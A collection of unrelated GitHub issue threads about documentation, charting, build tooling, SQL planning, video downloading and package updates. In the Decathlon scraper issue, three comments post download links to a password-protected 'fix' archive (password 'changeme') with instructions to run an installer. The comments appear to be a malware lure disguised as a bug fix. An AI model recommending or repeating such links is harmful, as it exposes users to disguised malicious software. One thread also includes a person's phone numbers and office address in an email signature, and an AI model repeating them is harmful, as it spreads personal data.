  [languages.zh]
    languageName = "中文"
    weight = 1

content:
|-- account-management
|-- backup-restore
|-- example.md
|-- get-started.md
|-- get-started.zh.md

@oiooj We are in the process of building out multilingual support for the documentation. Closing this issue for now.

Could you share any proposal or issue link to the public ? @sanderson

@oiooj We are using Hugo's multilingual functionality and are working with partners in regions around the world to provide translations. We don't have a specific timeframe for supporting new languages, but it is in the works.


add simple state updater responder

Add a responder that returns nothing but updates the state with the parsed slot values

resolved in v1.0.36


Update dg

Refactor AddressBook to FoodGuide and Person to Eateries
Updated all links to our code instead of AB3's code
Removed a proposed feature

Looks good for a start. Thanks for the help.


Not Clear on Where to configure Remote access

This lab at https://github.com/kelseyhightower/kubernetes-the-hard-way/blob/master/docs/06-kubectl.md begins with:
Configuring the Kubernetes Client - Remote Access
Download and Install kubectl
But is is not clear where we should be doing this.  Should we do this on our gcloud console or some other machine completely outside our gcloud project?
Also, there is a section with:
Recall the token we setup for the admin user:
/var/lib/kubernetes/token.csv on the controller nodes
chAng3m3,admin,admin
Also be sure to locate the CA certificate created earlier. Since we are using self-signed TLS certs we need to trust the CA certificate so we can verify the remote API Servers.
I don't know what you mean by "Recall the token we setup for the admin use".  Am I supposed to do anything here?
And what does "Also be sure to locate the CA certificate created earlier" mean?  What am I supposed to do?

@jimcurtis were you able to figure out your issue?

Remote access is now handled with TLS client certificates and the remote client lab has been updated.


Possible issue

There might be an issue that detectors that haven't been added to the analysis tree during the "normal" part of sorting, i.e. while the queue of time-ordered events is big enough, aren't added at the later stage when we write everything left in the buffer to file.
This came up when sorting new CAEN data where the timestamps for the CAEN detector were calculated wrong (using a subrun that didn't start at zero).

So is this only an issue if your detector only exists in the final event?

No, in our case the issue appeared due to wrong timestamps for one detector type. In general, this appears if the detector only exists in the (timestamp-wise) last N events, where N is the size of the sort buffer (typically 200000).
It should be are rare problem, but we should maybe have a look where this stems from.

I will close this for now as this is a very unlikely issue to ever crop up again and probably quite difficult to debug.


Homework11: Alexey Kozhan

Homework11 is done in 2 python files

Please use different filenames, not homework1.py, homework2.py and etc

Please use different filenames, not homework1.py, homework2.py etc, because those files are already in the repo and git shows the differences between previous and current homework

fixed

See comment above

fixed


The system cannot find the file specified

version 2.3 on Win 11.
Put it in c:\mosint
in CMD cd to directory anf calling mosint<EMAIL_ADDRESS>It shows four times the same row:
2023/06/02 00:28:42 open C:\Users\myuser/mosint-config.json: The system cannot find the file specified.
Wonder what could be wrong?
Does it want to write those json files or is it searching for them?
How can I specify where to write them?

Bugs have been fixed in the new version (v3.0.0). Ensure the config file is configured correctly for Mosint to work properly.


Add "Technical Assistance" section

Thanks for contributing! I agree, having a list (eventually in a datalist) of people specifically able to help remotely with technical issues - both video and other issues - is a key resource we need.


堆叠图markPoint坐标轴显示叠加

[ ] I am using English in this issue. 在这个 Issue 中我使用了英文（强烈建议）。

General Questions

[x] Required: I have read the document and examples and tried to solve it by myself. （必填）我读过了文档和教程，并且曾试图自己解决问题。
[x] Required: I have searched for similar issues and that didn't help. （必填）我搜索过 issue 但是没有帮助。
[x] Required: I have tried with the latest version of ECharts and still have this problem. （必填）我试过最新版本的 ECharts，还是存在这个问题。

In this issue, I have provided information with: 在这个 issue 中我提供了以下信息：

[ ] Required: issue type；（必填）issue 类型
[x] Required: one sentence description in issue details；（必填）一句话的问题描述
[x] Required: demo；（必填）能反映问题的例子（如果你想提问或报 bug）
[ ] Required: ECharts version；ECharts 版本

Issue Type

[ ] I have a question to ask about how to use ECharts to ...；我想提问如何使用 ECharts 实现某功能
[ ] I have a bug to report；我想要报 bug
[ ] I have a feature to request, e.g.: I'd like a new feature that ...；我需要一个新功能
[x] I have a feature to enhance, e.g.: The current feature should be improved in the way that ...；我希望改进某个功能
[ ] There's something wrong with the documents；文档有些问题
[ ] Others, or I'm not sure which issue types to choose here；其他，或我不知道应该选什么类型

Issue Details
在堆叠图中添加markPoint，markPoint的坐标是根据data大小计算得来的，由于图是堆叠来的，所以越往上面图的markPoint坐标越偏。
例如两条时间序列的折线图在某个点分别有值100、200  ，那么上面条线的坐标值为300，这样markPoint的坐标就会偏下；
如图

Expected Behavior
希望markPoint的坐标也能堆叠
Topics

[x] MarkPoint

Environment

Any

在堆叠图中markPoin type 设置为max min 位置也是错误的，
http://gallery.echartsjs.com/editor.html?c=xB1p_RMTdG

这个问题留了好久


Make distutils metapath finder shim insertion idempotent

Summary of changes
Ensure _DistutilsMetaFinder is only added to sys.meta_path once.
closes #2958
(will add tests/changelog if change is otherwise deemed OK)
Pull Request Checklist

[ ] Changes have tests
[ ] News fragment added in changelog.d/.
(See documentation for details)

superseded by #2961


Upgrade guide improvements

Just my scratchpad to collect possible improvements.

Removed from the release announcement – I think the mechanics and differences like this should be explained somewhere:
While OneSDK v1 relied on local profile files (.supr, installed into superface/grid), OneSDK v2 will fetch and cache compiled profiles in the runtime. If the super.json configuration file is not found, the getProfile method must specify the profile version (e.g<EMAIL_ADDRESS>and perform must specify the provider ({ provider: 'wttr-in' }).
If you already use OneSDK with super.json file, you don’t need to change anything. The super.json file acts as a central place for locking profile versions and decoupling providers configuration from the code. It is also needed for using local profiles and maps (see [below more details]).

Closing. Relates to the older version of Superface. Thanks @jnv!


Make controller deployable to any namespace via Makefile

What does this PR do?
Make it possible to manually deploy the controller to any namespace by setting the $NAMESPACE env var.
The only ugly workaround is that the clusterrolebinding's subject requires a namespace; this is updated via sed and means that manually applying files will not work.
What issues does this PR fix or reference?
Fixes https://github.com/eclipse/che/issues/17098
Is it tested? How?
git checkout master
make uninstall
git checkout amisevsk/customize-namespace
export NAMESPACE=web-terminal-operator
make deploy

/test v4-openshift-web-terminal-e2e


Unit test not working fine

Unit test not working fine more details on this question
https://stackoverflow.com/questions/67845727/test-classes-doesnt-work-correctly-on-android

Hey @AMBTIONGP ! Thanks for share this error with me.
I  made some changes on unit test classes. Please, check the changes on Master branch. ✌🏻

I deleted my cloned repository and clone it again and tried to change these methods to be like that
In DeezerServiceTest
    @Throws(IOException::class)
    @Test
    fun fetchArtistList(): Unit = runBlocking {
        enqueueResponse("/artistsResponse.json")
        // give to default genreID
        val response = service.fetchArtistList(MockUtil.genreID)
        mockWebServer.takeRequest()

        client.fetchArtistList(MockUtil.genreID)

        response?.body()?.artistData?.let { safeList ->
            assertThat("safeList[0].id", `is`("8354140"))
        }

    }

In ArtistRepositoryTest
  @ExperimentalTime
  @Test
  fun fetchArtistListFromNetworkTest() = runBlocking {
    val mockData = ArtistsResponse(listOf(MockUtil.artist))
    val returnData = Response.success(mockData)
    whenever(service.fetchArtistList(MockUtil.genreID)).thenReturn(returnData)

    repository.fetchArtistList(MockUtil.genreID).test {
      val result = expectItem()
      assertEquals(result, ApiResult.Success(listOf(MockUtil.artist)))
      Assert.assertEquals((result as ApiResult.Success<List<ArtistData>>).data[0].name , "Ezhel")
      Assert.assertEquals("result.data[0].id" , "8354140")
      expectComplete()
    }

    verify(service, atLeastOnce()).fetchArtistList(MockUtil.genreID)
    verifyNoMoreInteractions(service)
  }

and it stills passed
is there any custom choice about configuration because in first try to test it asked me about configuration and I choose this  Jar Manifest

Please pull master branch then try again 👍🏻

Please pull master branch then try again 👍🏻

I do and it stills have a problem here a full record of the test process  https://we.tl/t-XJhzgZUOV3

@fevziomurtekin  update I make more debugs to detect what's the problem exactly and it was in the MainCoroutineRule because I add seperate new method
@Test
    fun addition_isCorrect() {
        assertEquals(4, 3 + 2)
    }

and it didn't fail until I comment the variables and method for setup the test for example I commented these parts in DeezerServiceTest to able to see method  (addition_isCorrect) fails
    ```
//private lateinit var service: DeezerService

        //@MockK
        //private lateinit var client: DeezerClient

       // @ExperimentalCoroutinesApi
       // @get:Rule
        //var coroutineRule = MainCoroutineRule()

       // @Before
       // fun initService(){
        //    MockKAnnotations.init(this, relaxed = true)
       //     service = createService(DeezerService::class.java)
        //    client = DeezerClient(service)
      //  }

Hey! @AMBTIONGP
I deleted the project and clone it again.
The result is the same. "Tests passed: 31 of 31 tests". You can see
Your machine jvm may have a problem .
If you can write the error in logcat, maybe we can find it. But the problem is not code.

I fix that using that answer  and still had a problem

In the next image roboelectic warn gone but the tests still passed for example in the DeezerServiceTest I added this function
 @Test
    fun assertTester(){
        assertEquals(1,2)
    }

And it passed also

Hmm.. As I said, it was caused by the machine. But if the problem is solved, it's fine. I am happy for you 🚀

Hmm.. As I said, it was caused by the machine. But if the problem is solved, it's fine. I am happy for you 🚀

@fevziomurtekin  I changed my JRE to 9 but nothing changes how it was in JVM, isn't method assertTester supposed to fail
 @Test
    fun assertTester(){
        assertEquals(1,2)
    }

1 and 2 are equal? Sure that, should be failed.

I'll close the issue.

@fevziomurtekin assertTester functions fails only if I comment the initservice function and variables as mentioned in this comment https://github.com/fevziomurtekin/DeezerClone/issues/30#issuecomment-856728987 so If the clase goes inside MainCoroutineRule it makes all test inside it passed even if it has false assertions but if I comment them and run the class it works perfectly as it supposed if the assertion false the test fails and else it passed
By the way I run the tests on two devices and it has the same problem test always passed even if it has the false assertions


[DISCUSSION] Themed Placeholder Icons for Apps without Icons

About this discussion
Hi, just wondering if this is possible, but as we know, Android uses a placeholder icon which is the Android head with colored backgrounds (blue/teal in older Android versions) for apps that don't have an icon set. I wonder if we can make Lawnicons apply a themed placeholder icon to these iconless apps. The icon can be an Android head drawn in the style of the current Lawnicons lines theme.
This can be useful if, for example, we rooted our device using Magisk and used the "Hide the Magisk App" feature which replaces the vanilla Magisk app with a duplicate Magisk app with a randomly generated package name, which doesn't have an icon.
Thanks for the feedback in advance!

The pixel launcher as a force themed icons option something like that would be appreciated and would fix this issue
An optional toggle to enable "Forced Themed icons"
It could use the app Icon in monochrome being multiplied by the Theme color
Is this possible without root?


x/tools/go/packages: Unexpected package creation during export data loading

What version of Go are you using (go version)?

go version go1.16.2 darwin/amd64

Does this issue reproduce with the latest release?
Yes.  Both on v0.1.0 and on master.
What did you do?
Load types for a package that has gc export data available.  runtime is such a package on my system:
packages.Load(&packages.Config{Mode: packages.NeedTypes}, "runtime")
https://play.golang.org/p/ObXs_fKb0A2
What did you expect to see?
Nothing, success.
What did you see instead?
A fatal error is logged: Unexpected package creation during export data loading
I debugged the error and found a workaround:  Include packages.NeedImports in Config.Mode.

Probably related to #45584


remotebuild is not extracting all files from the upload_BUILDNUM.tgz

I had originally thought that my plugin folders/files were not getting copied from the windows machine over to the mac, but I found them inside the upload_BUILD.tgz they are just not getting extracted before building.
is there a configuration or some file i can update to make sure all files are extracted?
I installed remotebuild today on the mac, version 2.0.1 , running same node version as my windows machine, 0.12.2
any help is appreciated, it's literally driving me nuts. vs-mda-remote was previously installed on this machine as i was an early adopter of cordova tools in vs2013.

We treat the /plugins folder as special when uploading files to make sure that we install/uninstall/update plugins appropriately, but there could be a bug here.
Instead of extracting directly to /plugins, we extract to /remote/plugins, and then go and invoke "cordova plugin add /remote/plugins/thePlugin" if it is a new plugin (if the plugin.xml is new) or we copy the files to /plugins/thePlugin if the plugin already existed.
Could you please give some more details about what's happening? Is nothing at all being added to /plugins/ ?

On the mac in builds/BUILDNUM/cordovaApp  it creates a plugins folder and there is one plugin there.  cordova-plugin-whitelist, fetch.json, ios.json and .DS_Store
In /builds/BUILDNUM/cordovaApp/www there is no plugins folder
On the windows machine, it’s correctly built in platforms,
<EMAIL_ADDRESS><EMAIL_ADDRESS>and is also in the .tgz on the mac, just not extracted. To cordovaApp
I can send you the .tgz if it would help with getting this fixed. I have to have this working.
I have tried:
Removing the ios platform through command line and reading it, removing all plugins and reinstalling them after blowing away the ios platform, still didn’t take.
It was working fine with vs2013 and vs-mda-remote for months and months.

SAMANTHA ALDRIDGE
Software Architect
Finished Vehicle Logistics
502.570.3302  direct
859.433.3287  cell
502.570.4302 fax
Email saldridge<EMAIL_ADDRESS>VASCOR, Ltd.
100 Farmers Bank Drive
Suite 300
Georgetown, KY 40324
www.vascorlogistics.comhttp://www.vascorlogistics.com/
From: Jimmy Thomson<EMAIL_ADDRESS>Sent: Friday, October 23, 2015 3:42 PM
To: Microsoft/TACO
Cc: Samantha Aldridge
Subject: Re: [TACO] remotebuild is not extracting all files from the upload_BUILDNUM.tgz (#106)
We treat the /plugins folder as special when uploading files to make sure that we install/uninstall/update plugins appropriately, but there could be a bug here.
Instead of extracting directly to /plugins, we extract to /remote/plugins, and then go and invoke "cordova plugin add /remote/plugins/thePlugin" if it is a new plugin (if the plugin.xml is new) or we copy the files to /plugins/thePlugin if the plugin already existed.
Could you please give some more details about what's happening? Is nothing at all being added to /plugins/ ?
—
Reply to this email directly or view it on GitHubhttps://github.com/Microsoft/TACO/issues/106#issuecomment-150672283.

Also, there is nothing in the ‘remote’ folder of the extracted cordovaApp folder, it’s empty

SAMANTHA ALDRIDGE
Software Architect
Finished Vehicle Logistics
502.570.3302  direct
859.433.3287  cell
502.570.4302 fax
Email saldridge<EMAIL_ADDRESS>VASCOR, Ltd.
100 Farmers Bank Drive
Suite 300
Georgetown, KY 40324
www.vascorlogistics.comhttp://www.vascorlogistics.com/
From: Jimmy Thomson<EMAIL_ADDRESS>Sent: Friday, October 23, 2015 3:42 PM
To: Microsoft/TACO
Cc: Samantha Aldridge
Subject: Re: [TACO] remotebuild is not extracting all files from the upload_BUILDNUM.tgz (#106)
We treat the /plugins folder as special when uploading files to make sure that we install/uninstall/update plugins appropriately, but there could be a bug here.
Instead of extracting directly to /plugins, we extract to /remote/plugins, and then go and invoke "cordova plugin add /remote/plugins/thePlugin" if it is a new plugin (if the plugin.xml is new) or we copy the files to /plugins/thePlugin if the plugin already existed.
Could you please give some more details about what's happening? Is nothing at all being added to /plugins/ ?
—
Reply to this email directly or view it on GitHubhttps://github.com/Microsoft/TACO/issues/106#issuecomment-150672283.

Sending the .tgz would be helpful; you can send it to<EMAIL_ADDRESS>I'll try to see if I can get you a workaround, as well as fixing the underlying issue.

We've just published<EMAIL_ADDRESS>which fixes this issue. Any new installs of remotebuild should have the fix, and you can also go to the remotebuild install location and npm upgrade taco-remote to upgrade it to the fixed version.


Default physical planner generates empty relation for DROP TABLE, CREATE MEMORY TABLE, etc

Describe the bug
When we ran some unsupported DDL in our system
drop table foo

The output would be an empty table (rather than an unsupported error):
++
++

However, running CREATE EXTERNAL TABLE results in an error as expected.
To Reproduce
Try and run drop table (not through the datafusion CLI which handles these LogicalPlan variants specially)
Expected behavior
The physical planner should generate an error for DDL statements that have a LogicalPlan variant as it does for CREATE EXTERNAL TABLE
https://github.com/apache/arrow-datafusion/blob/b654fdea697b9aec1cb487e292dd288e5c9d09e3/datafusion/core/src/physical_plan/planner.rs#L1024-L1057
Additional context
We saw this in IOx https://github.com/influxdata/influxdb_iox/issues/5802 and worked around it in https://github.com/influxdata/influxdb_iox/pull/5876 by explicitly generating the errors

This is a good first issue as the needed pattern already exists and it is well localized.

I think one difference may be that the SessionContext::sql has special handling for those statements (rather than running them through a logical plan): https://github.com/apache/arrow-datafusion/blob/b004ec7/datafusion/core/src/execution/context.rs#L286-L343

🤣 I'm interested in this, you can assign it to me

@alamb If I understand correctly, just modify the return result of create_initial_plan, like this #3933.


qemu: bump to 8.1.1 and add dmalog support

This PR depends on managarm/xbstrap#74.

Updated to use qemu 8.1.1

Blocking on new release

Updated to qemu 8.1.4

We can drop 0002-qemu-thread-posix-patch-out-pthread_attr_setdetachst.patch, pthread_attr_setdetachstate is now supported in mlibc.

Pretty sure the host_lseek part of patch 4 can also be dropped since we switched to the Linux ABI?


Project Idea: Improving OSL web page

Abstract
The OpenScienceLabs web page project aims to create a dynamic and user-friendly web platform that serves as a central hub for the Open Science Labs community. This platform will provide essential information about the organization, serve as a knowledge repository, and facilitate communication and collaboration among community members.
License
https://github.com/OpenScienceLabs/opensciencelabs.github.io/blob/main/LICENSE
Code of Conduct
https://github.com/OpenScienceLabs/opensciencelabs.github.io/blob/main/CODE_OF_CONDUCT.md
Current State
Current web page does not have the option to change languages, search files, search by tags or categories, does not allow google ads nor google analytics
Tasks
Add search feature, and search by languages
Add feature search by tags and categories
Add google analytics feature to see data about the traffic
Expected Outcomes
The web pages should allow search post by tags and by keywords
The web pages should allow change languages
The admin can see report in google analytics
Details

Prerequisites

Python
Basic knowledge in HTML, JS ans CSS
Basic Knowledge in Site Static generators (Mkdocs)

Expected time: 240 hours
Potential Mentor: Ever Vino

References

https://www.mkdocs.org/
https://marketingplatform.google.com/intl/es/about/analytics/

@EverVino
Cover Letter for Open Source Internship
Dear Sir,
I am writing to express my keen interest in the open-source internship opportunity at [Organization name] to help develop and improve OSL homepage. With my experience in software development, user experience, and contributing to open-source projects, I believe I possess the skills and dedication required to make a valuable contribution to your team.
Building User-Friendly Software:
In my previous internship at DesinQna, I honed my web development skills in building responsive web pages and ensuring a seamless user experience across devices. I implemented robust user authentication and security measures, including reCAPTCHA integration, significantly improving platform security. This hands-on experience instilled in me a strong understanding of user needs and the importance of user-centric design.
Enhancing Open Source Projects:
During my current internship at Cloudforet as an LFX MENTEE, I actively contributed to various open-source repositories. I gained valuable experience in collaborating with a global community of developers, designing efficient code architectures, and implementing best practices. This exposure to the open-source environment fueled my passion for contributing to collaborative projects and driving improvements.
 I am confident in my ability to:
Implement powerful search functionalities: Leverage my web development experience to develop efficient search features for keywords, tags, and categories, enriching user experience and content discoverability.
Enable multilingual accessibility: Incorporate language selection options, making the webpages accessible to a wider audience and expanding the potential user base.
Integrate Google Analytics: Implement Google Analytics to track user behavior and gain valuable insights into traffic patterns, guiding future development decisions.
Beyond technical skills, I am a highly motivated and quick learner with a strong work ethic. I thrive in collaborative environments and embrace constructive feedback to continuously improve my skills. I am eager to learn from the experienced developers at OSL and contribute to the advancement of this open-source project.
Thank you for your time and consideration. I am confident that my web development skills and passion for open-source development make me a strong candidate for this internship. I am available for an interview at your earliest convenience and welcome the opportunity to discuss my qualifications further and preliminary tasks.
Sincerely,
Mohd Quamar TYagi


Decoupled edit overlay view.

This PR fixes #12716.
Acceptance

[ ] Switch between view modes. No EditOverlay views should be created.
[ ] Add a new feature. EditOverlay view is shown properly containing the right message (according to the feature type)

The overlay is not appearing.
I debugged it, and it's being added, but then when running this line the overlay is being removed/hidden.

It should be fixed now. Also, I updated the PR description because I found a couple issues related with this.

Just to document it somewhere, this PR introduced also a change to the overlay position, it is now at the right of the map:


Scraper for Decathlon is not running properly

URL: https://admin.peviitor.ro/
Browser: Chrome
Device: Laptop
OS: Windows 11
STEPS TO REPRODUCE:

Open the URL in the browser.
Click on "Cont".
Click on "+" from "based_scraper_py".
Click on "decathlon.py" and run the scraper.

EXPECTED RESULTS:
The scraper runs without issues.
ACTUAL RESULTS:
The scraper is running, but an error pops up.

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

Fixed....

Restesting was done and it worked properly.


Check downloaded video integrity (option)

DO NOT REMOVE OR SKIP THE ISSUE TEMPLATE

[X] I understand that I will be blocked if I intentionally remove or skip any mandatory* field

Checklist

[X] I'm requesting a feature unrelated to a specific site
[X] I've looked through the README
[X] I've verified that I'm running yt-dlp version 2023.07.06 (update instructions) or later (specify commit)
[X] I've searched known issues and the bugtracker for similar issues including closed ones. DO NOT post duplicates
[X] I've read the guidelines for opening an issue

Provide a description that is worded well enough to be understood
When a video is downloaded, there is no check to ensure the video's integrity. In most cases, the video downloads just fine - and there's no issue. Sometimes, however, there will be an issue downloading the video, and yt-dlp doesn't recognize this.
Essentially there are two options I would recommend:

Check the video file with ffmpeg to ensure there are no issues in the video file itself
Check to ensure that the length of the video matches the length of the video as reported by the site. Especially with a video downloaded via HLS fragments, I've had a number of situations where something slipped up and the individual files were not stitched together properly. I thought I had one of these videos lying around as well as a properly downloaded version of the same video, but I can't find it anymore - but I had tested it, and ffmpeg didn't show anything - the video was intact, but improperly assembled from the fragments. Back then I wasn't involved with yt-dlp development, so I didn't check any further, and I don't have any videos to test at the moment.

But this could help flag issues in the first place in order to fix them later on - or at least report to the user that there was a problem.
This could possibly be a single "verify" option, possibly with an option to do either or both tests, or none.
Provide verbose output that clearly demonstrates the problem

[ ] Run your yt-dlp command with -vU flag added (yt-dlp -vU <your command line>)
[ ] If using API, add 'verbose': True to YoutubeDL params instead
[ ] Copy the WHOLE output (starting with [debug] Command-line config) and insert it below

Complete Verbose Output
No response

Out of scope. This should be done by some external script/tool

Postprocessor plugin or an external script - I guess that could work. I'm just figuring that since it's essentially double-checking the work of yt-dlp, it would make sense for that to be integrated with an easy toggle that doesn't require a whole bunch of configuration. It would also ensure that when yt-dlp doesn't return an error, it really downloaded the video successfully and correctly - at least when using the option.

Recently, the duration of downloading videos using yt-dlp has been normal, but the videos are incomplete and some clips are missing

I forgot I had this issue still open.
For anyone looking for this functionality, I've created a plugin that does just this: CheckVideoIntegrity. It's not great python but it does the job. PRs are welcome if anyone would like to improve it.


ultimate-oldschool-pc-font-pack: 2.0 -> 2.2

Motivation for this change
Things done

Built on platform(s)

[X] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 144712 run on x86_64-linux 1

1 package built:

ultimate-oldschool-pc-font-pack